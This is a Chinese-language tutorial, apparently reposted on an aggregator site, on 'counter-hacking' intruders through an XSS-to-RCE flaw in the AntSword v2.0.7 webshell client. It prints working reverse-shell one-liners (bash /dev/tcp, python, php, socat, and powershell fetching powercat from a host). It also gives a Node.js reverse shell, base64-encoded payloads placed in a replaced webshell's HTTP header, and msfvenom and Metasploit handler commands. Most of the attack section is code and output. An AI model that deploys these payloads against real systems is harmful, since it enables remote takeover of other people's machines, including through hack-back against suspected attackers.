溯源(七)之利用AntSword RCE进行溯源反制黑客

这篇具有很好参考价值的文章主要介绍了溯源(七)之利用AntSword RCE进行溯源反制黑客。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

溯源(一)之溯源的概念与意义
溯源(二)之 windows-还原攻击路径
溯源(三)之Linux-入侵排查
溯源(四)之流量分析-Wireshark使用
溯源(五)之攻击源的获取
溯源(六)之溯源的方法

利用AntSword RCE进行溯源反制黑客

在之前文章中我们学习了如何通过Web日志,系统日志,安全设备去获取攻击源,然后再通过获取的攻击源的信息再去寻找攻击者的身份,这些方式都是被动的去寻找攻击者的身份

但这些方法不是万能的,实际入侵中,攻击者都会挂一个代理,或者是对自己的流量进行一个加密,所以如果攻击者在攻击过程中进行了以上的行为,那我们通过Web日志或者安全设备得到的攻击源很大概率上都不是真实的

所以,我们要化被动为主动,去主动获取攻击者的身份,主动去寻找攻击者是一个什么样的思路呢?

举个列子:

第一种,比如我们得到了攻击者的IP,发现对方的IP是一个对方的服务器,那我们是不是可以对对方的服务器发起一个渗透。

第二种,我们也可以部署一个蜜罐,来捕获攻击者,通过蜜罐,我们可以得到攻击者的真实IP或者是攻击者留下的一些身份信息,这些都是主动式的。

第三种,就是我们本文所讲的方法,攻击者平时所用的一些黑客工具,比如中国蚁剑,sqlmap,goby等等这些工具本身存在漏洞,我们是不是可以去利用这个漏洞去反制攻击者

那我们怎么使用这个漏洞去反制攻击者呢?这个和我们常规的渗透思路不太一样,比如说,我们通过web日志发现了攻击者使用中国蚁剑,然后知道了攻击者所使用的中国蚁剑的版本存在漏洞,前提是我们得知道哪些中国蚁剑版本存在漏洞

比如蚁剑的v2.0.7版本,存在一个xss漏洞

现在实验假设在一个情况下,我们的网站被黑客入侵了,然后我们通过分析web日志,安全设备等等,通过这些设备呢?我们是可以查看到攻击者的一个指纹信息,所以我们知道了攻击者所使用的中国蚁剑版本就是v2.0.7版本,那我们该怎么利用这个漏洞得到对方的shell呢?

中国蚁剑v2.0.7工作目录下载地址
中国蚁剑下载地址

中国蚁剑大家都会装吧?这个我就不教了,这个不会的,拷打:)

实验准备

首先我们向目标服务器的网站目录下上传一句话木马

kali antsword,溯源,网络,linux,服务器,网络安全,安全

然后我们访问目标文件,发现目标文件存在

kali antsword,溯源,网络,linux,服务器,网络安全,安全

然后我们使用v2.0.7版本的中国蚁剑去连接

kali antsword,溯源,网络,linux,服务器,网络安全,安全

成功得到对方网站的控制权限

第一次打开网站时的场景是这样的

kali antsword,溯源,网络,linux,服务器,网络安全,安全

一、漏洞原理

由于蚁剑使用是html解析,并没有进行 XSS 保护过滤,html内容被解析了,导致xss漏洞。

二、复现

更改对方上传的webshell为

<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ?>

kali antsword,溯源,网络,linux,服务器,网络安全,安全

当我们第二次去点击连接网站时,就会弹出xss窗口

kali antsword,溯源,网络,linux,服务器,网络安全,安全

kali antsword,溯源,网络,linux,服务器,网络安全,安全
kali antsword,溯源,网络,linux,服务器,网络安全,安全

但是我们去利用这个漏洞,就不仅仅是弹一个窗口而已,而是要拿到入侵者的权限,拿到对方主机的控制权

三、反制

反弹shell:

建立一个控制目标的简易管道,(攻击者再代码中指定服务端,让受害者主机主动连接攻击者的程序)可以通过这个管道连接成功以后去执行系统命令

而建立这个管道有非常多种方式

比如利用Linux中的bash 或者python powershell php nodejs

bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.201.129/powercat.ps1‘); powercat -c 192.168.201.129 -p 9999 -e cmd

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

我们这里做个实验来帮助大家

机器名 IP
kali1 192.168.52.130
kali2 192.168.52.132

我们在kali1机器上输入

php -r ‘$sock=fsockopen(“192.168.52.132”,2223);exec(“/bin/sh -i &3 2>&3”);’

kali antsword,溯源,网络,linux,服务器,网络安全,安全

在kali2上执行

nc -lvvp 2333

kali antsword,溯源,网络,linux,服务器,网络安全,安全

我们就在kali2上得到了kali1上反弹过来的shell

kali antsword,溯源,网络,linux,服务器,网络安全,安全

那这个场景放在我们本文所讲述的技术中的应用位置在哪呢?我们v2.0.7的蚁剑不是有一个xss弹窗漏洞,如果我们把弹窗的内容改为我们反弹连接的内容比如

php -r '$sock=fsockopen("我们的IP",我们监听的端口);exec("/bin/sh -i <&3 >&3 2>&3");'

然后我们在本地的服务器求去进行一个端口监听,当对方使用蚁剑连接我们的网站时,就会触发xss漏洞,而这个漏洞所执行的代码又被我们修改成了反弹的shell代码,那这样我们是不是就得到入侵者主机的shell

蚁剑支持nodjs脚本,因此可以基于nodejs实现反弹shell

实验环境

机器名 IP 身份
win11 192.168.0.106 入侵者的主机
kali 192.168.0.105 监听端口的服务器

nodejs rce的代码:

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
什么是nodejs

javascrpt是脚本语言 也就是通常情况下用在浏览器,嵌入到HTML网页中,由浏览器一边解释一边执行。 要想在服务器上运行js需要运行环境。

nodejs是一个基于Chrome V8引擎的JavaScript运行环境,可以让JavaScript运行在服务端的开发平台非浏览器上运行,让脚本语言JavaScript能作为服务器语言。

代码解析
1、利用process模块进行命令执行,用require来开启子进程进行命令执行
var net = require("net"), sh = require("child_process").exec("cmd.exe");

nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过生成多个子进程来处理其他事物。

在Node.js中,提供了一个child_process模块,通过它可以开启多个子进程,在多个子进程之间可以共享内存空间,可以通过子进程的互相通信来实现信息的交换。

nodejs创建子进程有四种方法,分别是spawn、fork、exec、execFile。

2、在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。
var client = new net.Socket();

client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}

net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

3、输入输出重定向
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
重定向的原理是:

首先声明两个概念:主程序(重定向的操纵者)、子进程(被重定向的子进程)

如果要重定位stdout的话,先生成一个管道, 管道的写入端交给子进程去写,主程序从管道的读出端读数据,
然后可以把数据写成文件、显示等等。重定向stderr和stdout是相同的。

同理,要重定向stdin的话,生成一个管道, 管道的写入端由主程序写,子进程从管道的读出端读数据。
当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

< :是对标准输入 0 重定向 > :是对标准输出 1 重定向

在nodejs中

stdin是标准输入,stdout是标准输出,stderr是标准错误输出。
大多数的命令行程序从stdin输入,输出到stdout或 stderr,重定向stdout,stderr,stdin。

在Windows编程中,重定向需要用到管道(Pipe)的概念。管道是一种用于在进程间共享数据的机制。
一个管道类似于一个管子的两端,一端是写入的,一端是读出的。由一个进程从写入端写入、另一个进程从读出端读出,从而实现通信,就向一个“管道”一样。

主机复现

一、nodejs

1、加密反弹shell代码:

http://www.jsons.cn/base64/  base64在线加解密
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

kali antsword,溯源,网络,linux,服务器,网络安全,安全

2、在受害服务器中替换webshell内容

<?PHP
 header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgIjE5Mi4xNjguMC4xMDUiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpO3NoLnN0ZGVyci5waXBlKGNsaWVudCk7fSk7`,`base64`).toString())'>");
 ?>

kali antsword,溯源,网络,linux,服务器,网络安全,安全

3、在kali机器上监听端口

nc -lvvp 10086

kali antsword,溯源,网络,linux,服务器,网络安全,安全

4、攻击机使用蚁剑连接webshell
kali antsword,溯源,网络,linux,服务器,网络安全,安全

5、成功反弹shell

反弹shell 得到了目标cmd

kali antsword,溯源,网络,linux,服务器,网络安全,安全
kali antsword,溯源,网络,linux,服务器,网络安全,安全

二、msf反弹shell

MSF生成 node.js木马:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.0.105 LPORT=10086 -f raw -o payload.js

kali antsword,溯源,网络,linux,服务器,网络安全,安全

cat payload.js

kali antsword,溯源,网络,linux,服务器,网络安全,安全

查看并复制代码

同样将代码加密以后替换掉webshell中内容

kali antsword,溯源,网络,linux,服务器,网络安全,安全kali antsword,溯源,网络,linux,服务器,网络安全,安全

<?PHP
 header("HTTP/1.1 500 Not \<img src=# οnerrοr='eval(new Buffer(`KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDg2LCAiMTkyLjE2OC4wLjEwNSIsIGZ1bmN0aW9uKCkgeyBjbGllbnQuc29ja2V0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCA9PT0gInVuZGVmaW5lZCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7`,`base64`).toString())'>");
 ?>

MSF开启监听

use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost 192.168.0.105
set lport 10086
exploit 

kali antsword,溯源,网络,linux,服务器,网络安全,安全

当攻击者再次点击链接webshell爆红而不知所以然的时候,我们已经成功溯源反制

kali antsword,溯源,网络,linux,服务器,网络安全,安全
kali antsword,溯源,网络,linux,服务器,网络安全,安全kali antsword,溯源,网络,linux,服务器,网络安全,安全文章来源地址https://www.toymoban.com/news/detail-789882.html

到了这里,关于溯源(七)之利用AntSword RCE进行溯源反制黑客的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • php_webshell免杀--从0改造你的AntSword

    为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造一些弱特征,通过流量转换,跳过密钥交互。 但是,冰蝎需要反编译去改造源码,再进行修复bug,也比较复杂。而AntSword相对于冰蝎来说,不限制webshell,即一句话也可以进行连接,还可以自定

    2024年02月11日
    浏览(46)
  • 浅谈溯源反制与防溯源

    本文不涉及实际溯源、防溯源的详细操作过程,仅有基础方向引导,本文篇幅过长,请在家长的陪同下观看,谢谢大家 前言: 最近有个好兄弟问我,获取攻击者的人物画像需要多长时间,我的回答是,无异于天方夜谭。 那么什么是攻击者画像,​溯源反制有哪些条件,有哪

    2024年02月07日
    浏览(28)
  • opencv之利用gpu进行编程

    很多朋友工作中会遇到需要使用gpu的例子,gpu就是显卡,大部分对gpu有个模糊的概念,即图像渲染会使用到他,但是它是如何生效的,又说不清楚。本篇文章主要介绍opencv下如何使用gpu进行编程。 opencv下存在gpu可以使用的函数接口,一般以cv::cuda:xxxx cv::cudacodec::等开头。cud

    2024年02月07日
    浏览(37)
  • 进程间通信之利用命名管道进行通信

    命名管道(Named Pipe),也被称为FIFO(First In, First Out),是一种在Unix和Unix-like操作系统中用于进程间通信的特殊文件类型。它允许不相关的进程通过文件系统中的路径名进行通信。 命名管道(Named Pipe)是一种在Unix和Unix-like系统中用于进程间通信的特殊文件类型。它的作用主

    2024年01月19日
    浏览(37)
  • 项目之利用 V4L2应用程序框架 进行视频录制

    目录 知识储备: 视频采集方式: 处理采集数据: 相关结构体: 对于设备的操作步骤:         V4L2较V4L有较大的改动,并已成为 2.6 的标准接口,函盖 videodvbFM... ,多数驱动都在向 V4l2 迁移。更好地了解 V4L2 先从应用入手,然后再深入到内核中结合物理设备/接口的规范实现

    2023年04月09日
    浏览(44)
  • 分布式文件系统HDFS之利用Java API与HDFS进行交互

    文章目录 一、环境要求 二、在Ubuntu中安装Eclipse 三、在Eclipse创建项目 四、为项目添加需要用到的JAR包 五、编写Java应用程序代码  总结 Hadoop不同的文件系统之间通过调用Java API进行交互,利用Java API进行交互,需要利用软件Eclipse编写Java程序。 已经配置好网络的Ubuntu系统的虚

    2023年04月21日
    浏览(38)
  • 用于黑客渗透测试的 21 个最佳 Kali Linux 工具

    如果你读过 Kali Linux 点评,你就知道为什么它被认为是最好的黑客渗透测试的 Linux 发行版之一,而且名副其实。它带有许多工具,使你可以更轻松地测试、破解以及进行与数字取证相关的任何其他工作。 它是道德黑客ethical hacker最推荐的 Linux 发行版之一。即使你不是黑客而

    2024年02月10日
    浏览(47)
  • 「Kali Linux」网络安全黑客自学、网络渗透(文末送书)

    目录 1.背景介绍 2.读者对象 3.随书资源 4.本书目录 5.本书概览 6.活动参与方式  对于企业网络安全建设工作的质量保障,业界普遍遵循PDCA(计划(Plan)、实施(Do)、检查(Check)、处理(Act))的方法论。近年来,网络安全攻防对抗演练发挥了越来越重要的作用。 企业的安

    2024年02月08日
    浏览(55)
  • 进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器

    数据来源   本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。  得到ip地址我们能干嘛?         首先进行端口扫描 为什么要进行端口扫描?         端口扫描的作用就是发现目

    2024年02月06日
    浏览(49)
  • 模拟黑客使用Kali Linux远程控制Windows(互联网)

    仅限于技术交流,请勿用于非法用途! 网上很多的教程都是在VMware虚拟机中实现通过kali linux控制windows电脑,正巧我这儿有闲置的笔记本,为了更真实的 模拟黑客攻击电脑 的行为,做以下 实验 : 使用工具: 虚拟机:Vmware Workstation 控制端系统:Kali Linux 内网穿透:sunny-ngr

    2024年02月13日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包